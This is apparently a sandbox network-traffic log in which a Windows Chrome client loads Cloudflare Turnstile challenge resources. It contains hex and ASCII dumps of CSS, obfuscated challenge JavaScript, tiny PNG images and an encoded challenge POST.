2024-12-11 20:03:27 UTC	1369	IN	Data Raw: 7b 6c 65 66 74 3a 32 35 35 70 78 7d 2e 72 74 6c 20 23 66 72 2d 68 65 6c 70 65 72 2c 2e 72 74 6c 20 23 66 72 2d 6f 76 65 72 72 75 6e 7b 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 2e 32 35 65 6d 3b 6d 61 72 67 69 6e 2d 72 69 67 68 74 3a 30 7d 2e 72 74 6c 20 23 62 72 61 6e 64 69 6e 67 7b 6d 61 72 67 69 6e 3a 30 20 30 20 30 20 31 36 70 78 3b 77 69 64 74 68 3a 39 30 70 78 7d 2e 72 74 6c 20 23 62 72 61 6e 64 69 6e 67 2c 2e 72 74 6c 2e 73 69 7a 65 2d 63 6f 6d 70 61 63 74 20 23 62 72 61 6e 64 69 6e 67 7b 70 61 64 64 69 6e 67 2d 6c 65 66 74 3a 30 3b 70 61 64 64 69 6e 67 2d 72 69 67 68 74 3a 30 3b 74 65 78 74 2d 61 6c 69 67 6e 3a 6c 65 66 74 7d 2e 72 74 6c 2e 73 69 7a 65 2d 63 6f 6d 70 61 63 74 20 23 62 72 61 6e 64 69 6e 67 7b 61 6c 69 67 6e 2d 73 65 6c 66 3a 66 6c 65 78 Data Ascii: {left:255px}.rtl #fr-helper,.rtl #fr-overrun{margin-left:.25em;margin-right:0}.rtl #branding{margin:0 0 0 16px;width:90px}.rtl #branding,.rtl.size-compact #branding{padding-left:0;padding-right:0;text-align:left}.rtl.size-compact #branding{align-self:flex
2024-12-11 20:03:27 UTC	1369	IN	Data Raw: 6c 6f 72 3a 23 31 36 36 33 37 39 3b 74 65 78 74 2d 64 65 63 6f 72 61 74 69 6f 6e 3a 75 6e 64 65 72 6c 69 6e 65 7d 23 63 68 61 6c 6c 65 6e 67 65 2d 65 72 72 6f 72 2d 74 69 74 6c 65 20 61 3a 6c 69 6e 6b 2c 23 63 68 61 6c 6c 65 6e 67 65 2d 65 72 72 6f 72 2d 74 69 74 6c 65 20 61 3a 76 69 73 69 74 65 64 7b 63 6f 6c 6f 72 3a 23 32 33 32 33 32 33 7d 23 63 68 61 6c 6c 65 6e 67 65 2d 65 72 72 6f 72 2d 74 69 74 6c 65 20 2e 69 2d 77 72 61 70 70 65 72 7b 64 69 73 70 6c 61 79 3a 6e 6f 6e 65 7d 2e 75 6e 73 70 75 6e 20 2e 63 69 72 63 6c 65 7b 61 6e 69 6d 61 74 69 6f 6e 3a 75 6e 73 70 69 6e 20 2e 37 73 20 63 75 62 69 63 2d 62 65 7a 69 65 72 28 2e 36 35 2c 30 2c 2e 34 35 2c 31 29 20 66 6f 72 77 61 72 64 73 7d 2e 63 69 72 63 6c 65 7b 73 74 72 6f 6b 65 2d 77 69 64 74 68 3a Data Ascii: lor:#166379;text-decoration:underline}#challenge-error-title a:link,#challenge-error-title a:visited{color:#232323}#challenge-error-title .i-wrapper{display:none}.unspun .circle{animation:unspin .7s cubic-bezier(.65,0,.45,1) forwards}.circle{stroke-width:

Timestamp	Bytes transferred	Direction	Data
2024-12-11 20:03:29 UTC	727	OUT	GET /cdn-cgi/challenge-platform/h/g/orchestrate/chl_api/v1?ray=8f0814019e945e80&lang=auto HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/g/turnstile/if/ov2/av0/rcv/pojwi/0x4AAAAAAA0qprqcNTVtSMlW/auto/fbE/normal/auto/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-12-11 20:03:29 UTC	331	IN	HTTP/1.1 200 OK Date: Wed, 11 Dec 2024 20:03:29 GMT Content-Type: application/javascript; charset=UTF-8 Content-Length: 113502 Connection: close cache-control: private, max-age=0, no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Server: cloudflare CF-RAY: 8f08140c4af3437f-EWR alt-svc: h3=":443"; ma=86400
2024-12-11 20:03:29 UTC	1038	IN	Data Raw: 77 69 6e 64 6f 77 2e 5f 63 66 5f 63 68 6c 5f 6f 70 74 2e 75 61 4f 3d 66 61 6c 73 65 3b 77 69 6e 64 6f 77 2e 5f 63 66 5f 63 68 6c 5f 6f 70 74 2e 78 45 4a 58 34 3d 7b 22 6d 65 74 61 64 61 74 61 22 3a 7b 22 63 68 61 6c 6c 65 6e 67 65 2e 73 75 70 70 6f 72 74 65 64 5f 62 72 6f 77 73 65 72 73 22 3a 22 68 74 74 70 73 25 33 41 25 32 46 25 32 46 64 65 76 65 6c 6f 70 65 72 73 2e 63 6c 6f 75 64 66 6c 61 72 65 2e 63 6f 6d 25 32 46 66 75 6e 64 61 6d 65 6e 74 61 6c 73 25 32 46 67 65 74 2d 73 74 61 72 74 65 64 25 32 46 63 6f 6e 63 65 70 74 73 25 32 46 63 6c 6f 75 64 66 6c 61 72 65 2d 63 68 61 6c 6c 65 6e 67 65 73 25 32 46 25 32 33 62 72 6f 77 73 65 72 2d 73 75 70 70 6f 72 74 22 2c 22 63 68 61 6c 6c 65 6e 67 65 2e 74 65 72 6d 73 22 3a 22 68 74 74 70 73 25 33 41 25 32 46 Data Ascii: window._cf_chl_opt.uaO=false;window._cf_chl_opt.xEJX4={"metadata":{"challenge.supported_browsers":"https%3A%2F%2Fdevelopers.cloudflare.com%2Ffundamentals%2Fget-started%2Fconcepts%2Fcloudflare-challenges%2F%23browser-support","challenge.terms":"https%3A%2F
2024-12-11 20:03:29 UTC	1369	IN	Data Raw: 32 30 69 6e 74 65 72 6d 65 64 69 61 72 79 25 32 30 61 6e 64 25 32 30 69 73 25 32 30 6e 6f 25 32 30 6c 6f 6e 67 65 72 25 32 30 61 76 61 69 6c 61 62 6c 65 22 2c 22 74 75 72 6e 73 74 69 6c 65 5f 66 6f 6f 74 65 72 5f 70 72 69 76 61 63 79 22 3a 22 50 72 69 76 61 63 79 22 2c 22 74 75 72 6e 73 74 69 6c 65 5f 66 6f 6f 74 65 72 5f 74 65 72 6d 73 22 3a 22 54 65 72 6d 73 22 2c 22 6e 6f 74 5f 65 6d 62 65 64 64 65 64 22 3a 22 54 68 69 73 25 32 30 63 68 61 6c 6c 65 6e 67 65 25 32 30 6d 75 73 74 25 32 30 62 65 25 32 30 65 6d 62 65 64 64 65 64 25 32 30 69 6e 74 6f 25 32 30 61 25 32 30 70 61 72 65 6e 74 25 32 30 70 61 67 65 2e 22 2c 22 6f 75 74 64 61 74 65 64 5f 62 72 6f 77 73 65 72 22 3a 22 59 6f 75 72 25 32 30 62 72 6f 77 73 65 72 25 32 30 69 73 25 32 30 6f 75 74 25 32 Data Ascii: 20intermediary%20and%20is%20no%20longer%20available","turnstile_footer_privacy":"Privacy","turnstile_footer_terms":"Terms","not_embedded":"This%20challenge%20must%20be%20embedded%20into%20a%20parent%20page.","outdated_browser":"Your%20browser%20is%20out%2
2024-12-11 20:03:29 UTC	1369	IN	Data Raw: 66 4e 2c 66 4f 2c 66 50 2c 66 5a 2c 67 61 2c 67 65 2c 67 68 2c 67 69 2c 67 66 2c 67 67 29 7b 66 6f 72 28 67 4a 3d 62 2c 66 75 6e 63 74 69 6f 6e 28 63 2c 64 2c 67 49 2c 65 2c 66 29 7b 66 6f 72 28 67 49 3d 62 2c 65 3d 63 28 29 3b 21 21 5b 5d 3b 29 74 72 79 7b 69 66 28 66 3d 70 61 72 73 65 49 6e 74 28 67 49 28 36 33 37 29 29 2f 31 2b 70 61 72 73 65 49 6e 74 28 67 49 28 36 31 38 29 29 2f 32 2a 28 2d 70 61 72 73 65 49 6e 74 28 67 49 28 39 36 30 29 29 2f 33 29 2b 2d 70 61 72 73 65 49 6e 74 28 67 49 28 36 39 32 29 29 2f 34 2a 28 2d 70 61 72 73 65 49 6e 74 28 67 49 28 31 32 30 30 29 29 2f 35 29 2b 2d 70 61 72 73 65 49 6e 74 28 67 49 28 38 38 37 29 29 2f 36 2a 28 2d 70 61 72 73 65 49 6e 74 28 67 49 28 35 36 33 29 29 2f 37 29 2b 2d 70 61 72 73 65 49 6e 74 28 67 49 Data Ascii: fN,fO,fP,fZ,ga,ge,gh,gi,gf,gg){for(gJ=b,function(c,d,gI,e,f){for(gI=b,e=c();!![];)try{if(f=parseInt(gI(637))/1+parseInt(gI(618))/2(-parseInt(gI(960))/3)+-parseInt(gI(692))/4(-parseInt(gI(1200))/5)+-parseInt(gI(887))/6*(-parseInt(gI(563))/7)+-parseInt(gI
2024-12-11 20:03:29 UTC	1369	IN	Data Raw: 27 4b 4f 6d 59 4e 27 3a 66 75 6e 63 74 69 6f 6e 28 68 2c 69 29 7b 72 65 74 75 72 6e 20 68 3c 69 7d 2c 27 47 75 78 6e 76 27 3a 66 75 6e 63 74 69 6f 6e 28 68 2c 69 29 7b 72 65 74 75 72 6e 20 68 3d 3d 69 7d 2c 27 6a 76 54 4e 4c 27 3a 66 75 6e 63 74 69 6f 6e 28 68 2c 69 29 7b 72 65 74 75 72 6e 20 68 3c 69 7d 2c 27 59 5a 73 44 45 27 3a 66 75 6e 63 74 69 6f 6e 28 68 2c 69 29 7b 72 65 74 75 72 6e 20 68 28 69 29 7d 2c 27 5a 48 5a 55 51 27 3a 66 75 6e 63 74 69 6f 6e 28 68 2c 69 29 7b 72 65 74 75 72 6e 20 68 3e 69 7d 2c 27 62 50 67 44 4a 27 3a 66 75 6e 63 74 69 6f 6e 28 68 2c 69 29 7b 72 65 74 75 72 6e 20 68 26 69 7d 2c 27 49 6e 4e 58 6e 27 3a 66 75 6e 63 74 69 6f 6e 28 68 2c 69 29 7b 72 65 74 75 72 6e 20 68 2d 69 7d 2c 27 58 7a 47 58 47 27 3a 66 75 6e 63 74 69 6f Data Ascii: 'KOmYN':function(h,i){return h<i},'Guxnv':function(h,i){return h==i},'jvTNL':function(h,i){return h<i},'YZsDE':function(h,i){return h(i)},'ZHZUQ':function(h,i){return h>i},'bPgDJ':function(h,i){return h&i},'InNXn':function(h,i){return h-i},'XzGXG':functio
2024-12-11 20:03:29 UTC	1369	IN	Data Raw: 27 3a 66 75 6e 63 74 69 6f 6e 28 68 2c 69 29 7b 72 65 74 75 72 6e 20 68 3d 3d 3d 69 7d 2c 27 4f 58 72 6e 76 27 3a 66 75 6e 63 74 69 6f 6e 28 68 2c 69 29 7b 72 65 74 75 72 6e 20 69 21 3d 68 7d 2c 27 49 6e 74 4e 41 27 3a 66 75 6e 63 74 69 6f 6e 28 68 2c 69 29 7b 72 65 74 75 72 6e 20 68 3c 69 7d 2c 27 66 52 6c 6c 43 27 3a 66 75 6e 63 74 69 6f 6e 28 68 2c 69 29 7b 72 65 74 75 72 6e 20 68 2d 69 7d 2c 27 55 70 4a 75 61 27 3a 66 75 6e 63 74 69 6f 6e 28 68 2c 69 29 7b 72 65 74 75 72 6e 20 68 2b 69 7d 7d 2c 65 3d 53 74 72 69 6e 67 5b 68 73 28 35 39 35 29 5d 2c 66 3d 7b 27 68 27 3a 66 75 6e 63 74 69 6f 6e 28 68 29 7b 72 65 74 75 72 6e 20 6e 75 6c 6c 3d 3d 68 3f 27 27 3a 66 2e 67 28 68 2c 36 2c 66 75 6e 63 74 69 6f 6e 28 69 2c 68 74 29 7b 72 65 74 75 72 6e 20 68 74 Data Ascii: ':function(h,i){return h===i},'OXrnv':function(h,i){return i!=h},'IntNA':function(h,i){return h<i},'fRllC':function(h,i){return h-i},'UpJua':function(h,i){return h+i}},e=String[hs(595)],f={'h':function(h){return null==h?'':f.g(h,6,function(i,ht){return ht
2024-12-11 20:03:29 UTC	1369	IN	Data Raw: 45 29 26 26 28 45 3d 4d 61 74 68 5b 68 76 28 34 39 30 29 5d 28 32 2c 47 29 2c 47 2b 2b 29 2c 42 5b 4d 5d 3d 46 2b 2b 2c 53 74 72 69 6e 67 28 4c 29 29 7d 69 66 28 64 5b 68 76 28 37 37 34 29 5d 28 27 27 2c 44 29 29 7b 69 66 28 64 5b 68 76 28 31 32 33 39 29 5d 28 68 76 28 31 32 39 29 2c 64 5b 68 76 28 31 32 37 32 29 5d 29 29 7b 66 6f 72 28 69 5b 68 76 28 32 37 39 29 5d 28 29 2c 50 3d 30 3b 73 5b 68 76 28 39 39 38 29 5d 28 50 2c 6a 5b 68 76 28 34 35 33 29 5d 29 3b 4b 5b 50 5d 3d 3d 3d 6f 5b 73 5b 68 76 28 31 30 37 39 29 5d 28 50 2c 31 29 5d 3f 4c 5b 68 76 28 36 39 36 29 5d 28 50 2b 31 2c 31 29 3a 50 2b 3d 31 29 3b 72 65 74 75 72 6e 20 45 7d 65 6c 73 65 7b 69 66 28 4f 62 6a 65 63 74 5b 68 76 28 31 33 32 36 29 5d 5b 68 76 28 33 36 35 29 5d 5b 68 76 28 31 31 31 Data Ascii: E)&&(E=Math[hv(490)](2,G),G++),B[M]=F++,String(L))}if(d[hv(774)]('',D)){if(d[hv(1239)](hv(129),d[hv(1272)])){for(i[hv(279)](),P=0;s[hv(998)](P,j[hv(453)]);K[P]===o[s[hv(1079)](P,1)]?L[hv(696)](P+1,1):P+=1);return E}else{if(Object[hv(1326)][hv(365)][hv(111
2024-12-11 20:03:29 UTC	1369	IN	Data Raw: 3d 3d 68 3f 27 27 3a 68 3d 3d 27 27 3f 6e 75 6c 6c 3a 66 2e 69 28 68 5b 68 78 28 34 35 33 29 5d 2c 33 32 37 36 38 2c 66 75 6e 63 74 69 6f 6e 28 69 2c 68 79 29 7b 72 65 74 75 72 6e 20 68 79 3d 68 78 2c 68 5b 68 79 28 38 36 38 29 5d 28 69 29 7d 29 7d 2c 27 69 27 3a 66 75 6e 63 74 69 6f 6e 28 69 2c 6a 2c 6f 2c 68 7a 2c 73 2c 78 2c 42 2c 43 2c 44 2c 45 2c 46 2c 47 2c 48 2c 49 2c 4a 2c 4b 2c 4d 2c 4c 29 7b 66 6f 72 28 68 7a 3d 68 73 2c 73 3d 5b 5d 2c 78 3d 34 2c 42 3d 34 2c 43 3d 33 2c 44 3d 5b 5d 2c 47 3d 64 5b 68 7a 28 39 33 37 29 5d 28 6f 2c 30 29 2c 48 3d 6a 2c 49 3d 31 2c 45 3d 30 3b 33 3e 45 3b 73 5b 45 5d 3d 45 2c 45 2b 3d 31 29 3b 66 6f 72 28 4a 3d 30 2c 4b 3d 4d 61 74 68 5b 68 7a 28 34 39 30 29 5d 28 32 2c 32 29 2c 46 3d 31 3b 46 21 3d 4b 3b 4c 3d 48 Data Ascii: ==h?'':h==''?null:f.i(h[hx(453)],32768,function(i,hy){return hy=hx,h[hy(868)](i)})},'i':function(i,j,o,hz,s,x,B,C,D,E,F,G,H,I,J,K,M,L){for(hz=hs,s=[],x=4,B=4,C=3,D=[],G=d[hz(937)](o,0),H=j,I=1,E=0;3>E;s[E]=E,E+=1);for(J=0,K=Math[hz(490)](2,2),F=1;F!=K;L=H
2024-12-11 20:03:29 UTC	1369	IN	Data Raw: 29 5d 28 64 5b 68 7a 28 32 34 38 29 5d 28 65 45 2c 65 46 29 29 2c 65 47 3d 30 29 3a 65 48 2b 2b 2c 65 49 3e 3e 3d 31 2c 65 77 2b 2b 29 3b 7d 64 7a 2d 2d 2c 64 41 3d 3d 30 26 26 28 64 42 3d 64 43 5b 68 7a 28 34 39 30 29 5d 28 32 2c 64 44 29 2c 64 45 2b 2b 29 2c 64 65 6c 65 74 65 20 64 46 5b 64 47 5d 7d 65 6c 73 65 20 66 6f 72 28 63 39 3d 63 61 5b 63 62 5d 2c 63 63 3d 30 3b 64 5b 68 7a 28 31 32 30 36 29 5d 28 63 64 2c 63 65 29 3b 63 67 3d 64 5b 68 7a 28 38 32 39 29 5d 28 63 68 2c 31 29 7c 64 5b 68 7a 28 31 31 38 37 29 5d 28 63 69 2c 31 29 2c 64 5b 68 7a 28 33 33 34 29 5d 28 63 6a 2c 64 5b 68 7a 28 31 30 39 33 29 5d 28 63 6b 2c 31 29 29 3f 28 63 6c 3d 30 2c 63 6d 5b 68 7a 28 34 38 31 29 5d 28 63 6e 28 63 6f 29 29 2c 63 70 3d 30 29 3a 63 71 2b 2b 2c 63 72 3e Data Ascii: )](d[hz(248)](eE,eF)),eG=0):eH++,eI>>=1,ew++);}dz--,dA==0&&(dB=dC[hz(490)](2,dD),dE++),delete dF[dG]}else for(c9=ca[cb],cc=0;d[hz(1206)](cd,ce);cg=d[hz(829)](ch,1)\|d[hz(1187)](ci,1),d[hz(334)](cj,d[hz(1093)](ck,1))?(cl=0,cm[hz(481)](cn(co)),cp=0):cq++,cr>
2024-12-11 20:03:29 UTC	1369	IN	Data Raw: 59 42 53 27 3a 66 75 6e 63 74 69 6f 6e 28 47 2c 48 2c 49 29 7b 72 65 74 75 72 6e 20 47 28 48 2c 49 29 7d 7d 2c 6e 75 6c 6c 3d 3d 3d 68 7c 7c 6f 5b 68 45 28 31 31 30 29 5d 28 76 6f 69 64 20 30 2c 68 29 29 72 65 74 75 72 6e 20 6a 3b 66 6f 72 28 78 3d 6f 5b 68 45 28 31 31 32 37 29 5d 28 66 37 2c 68 29 2c 67 5b 68 45 28 39 32 33 29 5d 5b 68 45 28 32 33 34 29 5d 26 26 28 78 3d 78 5b 68 45 28 31 30 32 35 29 5d 28 67 5b 68 45 28 39 32 33 29 5d 5b 68 45 28 32 33 34 29 5d 28 68 29 29 29 2c 78 3d 67 5b 68 45 28 34 37 36 29 5d 5b 68 45 28 38 39 31 29 5d 26 26 67 5b 68 45 28 31 30 34 35 29 5d 3f 67 5b 68 45 28 34 37 36 29 5d 5b 68 45 28 38 39 31 29 5d 28 6e 65 77 20 67 5b 28 68 45 28 31 30 34 35 29 29 5d 28 78 29 29 3a 66 75 6e 63 74 69 6f 6e 28 47 2c 68 46 2c 48 29 Data Ascii: YBS':function(G,H,I){return G(H,I)}},null===h\|\|o[hE(110)](void 0,h))return j;for(x=o[hE(1127)](f7,h),g[hE(923)][hE(234)]&&(x=x[hE(1025)](g[hE(923)][hE(234)](h))),x=g[hE(476)][hE(891)]&&g[hE(1045)]?g[hE(476)][hE(891)](new g[(hE(1045))](x)):function(G,hF,H)
2024-12-11 20:03:29 UTC	1369	IN	Data Raw: 6e 28 73 2c 76 29 7b 72 65 74 75 72 6e 20 73 28 76 29 7d 7d 2c 69 5b 68 48 28 31 30 37 36 29 5d 28 68 48 28 36 39 34 29 2c 68 48 28 36 39 34 29 29 3f 69 5b 68 48 28 33 34 31 29 5d 28 27 6f 2e 27 2c 6e 29 3a 6f 5b 68 48 28 31 36 34 29 5d 28 6c 2c 67 28 68 29 29 7d 29 7d 65 6c 73 65 20 6f 3d 68 47 28 32 31 33 29 2c 69 5b 68 47 28 34 37 34 29 5d 28 6c 2c 6f 29 2c 69 5b 68 47 28 31 31 35 39 29 5d 28 67 2c 68 47 28 31 33 34 37 29 2c 66 75 6e 63 74 69 6f 6e 28 73 29 7b 6f 28 73 2e 69 64 29 7d 29 7d 2c 65 4d 5b 67 4a 28 37 33 34 29 5d 3d 66 75 6e 63 74 69 6f 6e 28 68 49 2c 64 2c 65 2c 66 2c 67 29 7b 68 49 3d 67 4a 2c 64 3d 7b 7d 2c 64 5b 68 49 28 31 34 32 34 29 5d 3d 68 49 28 36 36 38 29 2c 64 5b 68 49 28 35 36 30 29 5d 3d 68 49 28 31 31 36 34 29 2c 64 5b 68 49 Data Ascii: n(s,v){return s(v)}},i[hH(1076)](hH(694),hH(694))?i[hH(341)]('o.',n):o[hH(164)](l,g(h))})}else o=hG(213),i[hG(474)](l,o),i[hG(1159)](g,hG(1347),function(s){o(s.id)})},eM[gJ(734)]=function(hI,d,e,f,g){hI=gJ,d={},d[hI(1424)]=hI(668),d[hI(560)]=hI(1164),d[hI

Timestamp	Bytes transferred	Direction	Data
2024-12-11 20:03:29 UTC	739	OUT	GET /cdn-cgi/challenge-platform/h/g/cmg/1 HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/g/turnstile/if/ov2/av0/rcv/pojwi/0x4AAAAAAA0qprqcNTVtSMlW/auto/fbE/normal/auto/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-12-11 20:03:29 UTC	240	IN	HTTP/1.1 200 OK Date: Wed, 11 Dec 2024 20:03:29 GMT Content-Type: image/png Content-Length: 61 Connection: close cache-control: max-age=2629800, public Server: cloudflare CF-RAY: 8f08140d6ef2c481-EWR alt-svc: h3=":443"; ma=86400
2024-12-11 20:03:29 UTC	61	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 02 00 00 00 02 08 02 00 00 00 fd d4 9a 73 00 00 00 04 49 44 41 54 00 00 00 01 9d 24 d7 91 00 00 00 00 49 45 4e 44 ae 42 60 82 Data Ascii: PNGIHDRsIDAT$IENDB`

Timestamp	Bytes transferred	Direction	Data
2024-12-11 20:03:30 UTC	385	OUT	GET /cdn-cgi/challenge-platform/h/g/cmg/1 HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-12-11 20:03:31 UTC	240	IN	HTTP/1.1 200 OK Date: Wed, 11 Dec 2024 20:03:31 GMT Content-Type: image/png Content-Length: 61 Connection: close cache-control: max-age=2629800, public Server: cloudflare CF-RAY: 8f0814183e5f0dc7-EWR alt-svc: h3=":443"; ma=86400
2024-12-11 20:03:31 UTC	61	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 02 00 00 00 02 08 02 00 00 00 fd d4 9a 73 00 00 00 04 49 44 41 54 00 00 00 01 9d 24 d7 91 00 00 00 00 49 45 4e 44 ae 42 60 82 Data Ascii: PNGIHDRsIDAT$IENDB`

Timestamp	Bytes transferred	Direction	Data
2024-12-11 20:03:31 UTC	1171	OUT	POST /cdn-cgi/challenge-platform/h/g/flow/ov1/1614610025:1733945874:L96josrLVE-knejYujrVw4uaAZR2vOMBlVZWB4gUmq8/8f0814019e945e80/bLXeIStl9K16VUXftwRsJKoVhDEtY7L1qIQUkBq7AW0-1733947407-1.1.1.1-ngo2ajOIDWRyQtpeo0e_WMl9a2U.F8vLHQPBI2w3W96qZkhv73cIiQhrUaikLqYu HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive Content-Length: 3248 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" Content-type: application/x-www-form-urlencoded CF-Chl-RetryAttempt: 0 sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 CF-Challenge: bLXeIStl9K16VUXftwRsJKoVhDEtY7L1qIQUkBq7AW0-1733947407-1.1.1.1-ngo2ajOIDWRyQtpeo0e_WMl9a2U.F8vLHQPBI2w3W96qZkhv73cIiQhrUaikLqYu sec-ch-ua-platform: "Windows" Accept: / Origin: https://challenges.cloudflare.com Sec-Fetch-Site: same-origin Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/g/turnstile/if/ov2/av0/rcv/pojwi/0x4AAAAAAA0qprqcNTVtSMlW/auto/fbE/normal/auto/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-12-11 20:03:31 UTC	3248	OUT	Data Raw: 76 5f 38 66 30 38 31 34 30 31 39 65 39 34 35 65 38 30 3d 4e 32 47 4b 6e 4b 63 4b 67 4b 55 4b 31 4b 59 64 68 6f 64 68 42 73 4b 46 34 58 49 77 48 34 6d 62 6b 68 69 41 68 6e 44 4b 6a 57 68 4d 4b 77 32 68 4f 68 65 6d 41 68 48 5a 35 4b 6e 41 68 24 4b 48 38 50 42 68 66 6d 4b 68 48 55 46 68 63 39 42 68 77 44 6a 39 49 41 4c 4b 35 68 71 4e 68 63 54 35 57 44 42 34 6a 24 6d 68 61 57 46 66 4d 4b 6a 34 72 62 68 25 32 62 64 48 2b 36 68 6e 44 6d 4f 68 2b 76 72 47 68 6f 6e 39 63 46 75 61 73 64 59 37 79 24 42 35 49 61 68 6a 54 79 44 54 54 68 6f 62 2b 71 59 70 4d 6a 6a 55 74 62 33 2b 51 77 2b 73 77 35 6d 72 4c 36 6d 44 6a 63 7a 61 68 43 68 35 4c 71 6d 34 4b 68 54 4d 6d 68 31 62 49 68 48 62 2b 74 68 6d 77 68 77 24 73 50 68 6e 2b 47 35 6f 54 65 44 79 50 68 65 24 53 63 68 46 Data Ascii: v_8f0814019e945e80=N2GKnKcKgKUK1KYdhodhBsKF4XIwH4mbkhiAhnDKjWhMKw2hOhemAhHZ5KnAh$KH8PBhfmKhHUFhc9BhwDj9IALK5hqNhcT5WDB4j$mhaWFfMKj4rbh%2bdH+6hnDmOh+vrGhon9cFuasdY7y$B5IahjTyDTThob+qYpMjjUtb3+Qw+sw5mrL6mDjczahCh5Lqm4KhTMmh1bIhHb+thmwhw$sPhn+G5oTeDyPhe$SchF
2024-12-11 20:03:31 UTC	747	IN	HTTP/1.1 200 OK Date: Wed, 11 Dec 2024 20:03:31 GMT Content-Type: text/plain; charset=UTF-8 Content-Length: 149680 Connection: close cf-chl-gen: 3KnF1mIgkunOqRpRWH7xqrfV8f+ocebDvF4PymmdSAHkJYZX9X5XcIwt/b5siFXFmpGaUFCy6hxejBiEbt1/zKe0bv6amfBZ7avL8OZKGsVmkbExXh+n/rxXMtSDu82Zjn7Psj8dau8jRxOb64sG045hCX8yDphli6eMmCsIN1lQ/kAwDC7yiR4vAGSK7/eH6h4NmLr9i+zxZ6fwoeQ28QWqPrT+1PHzK+dUjmgqojm/QjPR8NOoOoVVLEqWD5CcCXaj0/3RxMW650VpQ2Hu2/sQRNuyt3NsCGRKZwkQgRDIXdHTmZqaxUneV591Ha/riCYkRC+TBigMQ0SILUCnF5QsmdCwvU1Gx644BWpH3f+K3cFBEffdY9LAfg+xrVFELErhZMt1K+O21XJQwxSuUbWZXFhVbrOsHUh57mzMQrf7bqt/XpVafd1ZR4PLDXcvktaFR2a34ww5BjOluYRZao/0AjLBGxHRBkntT77+ZI/YQZY=$hLLj+R2RttpSxy69 Server: cloudflare CF-RAY: 8f08141a9cc20f7c-EWR alt-svc: h3=":443"; ma=86400
2024-12-11 20:03:31 UTC	622	IN	Data Raw: 64 6e 68 74 53 30 74 39 63 6d 78 4e 6b 46 47 53 64 6d 53 4b 63 33 57 52 6e 6f 6c 39 66 35 70 75 6b 6d 2b 53 6e 6e 53 72 70 59 70 39 64 34 2b 6a 72 34 32 78 6a 5a 31 2b 74 59 43 49 67 6f 75 74 76 4c 2b 39 6d 4b 6d 4b 65 6e 2b 53 6a 70 4f 7a 6f 4a 4f 67 77 70 6a 50 6e 34 4b 61 77 63 57 31 31 4b 48 56 73 73 47 69 6f 36 6d 6d 33 64 57 70 72 39 43 76 75 4b 36 2f 72 36 65 34 79 4e 6d 32 76 39 33 50 79 38 50 68 30 39 2f 44 30 4f 33 67 77 74 4c 48 75 38 7a 4d 37 64 66 58 32 39 75 39 31 73 37 69 30 75 44 54 79 77 50 59 2f 65 2f 34 33 78 48 7a 2f 4f 50 76 33 2f 62 69 36 75 58 6c 39 78 38 50 37 42 34 41 44 42 49 51 47 4e 30 6f 43 76 34 47 36 69 34 42 42 6a 45 75 48 43 7a 75 4d 51 6f 73 41 6a 63 6b 50 44 45 7a 45 44 50 35 50 7a 59 57 2b 6a 41 7a 42 7a 49 61 43 68 52 Data Ascii: dnhtS0t9cmxNkFGSdmSKc3WRnol9f5pukm+SnnSrpYp9d4+jr42xjZ1+tYCIgoutvL+9mKmKen+SjpOzoJOgwpjPn4KawcW11KHVssGio6mm3dWpr9CvuK6/r6e4yNm2v93Py8Ph09/D0O3gwtLHu8zM7dfX29u91s7i0uDTywPY/e/43xHz/OPv3/bi6uXl9x8P7B4ADBIQGN0oCv4G6i4BBjEuHCzuMQosAjckPDEzEDP5PzYW+jAzBzIaChR
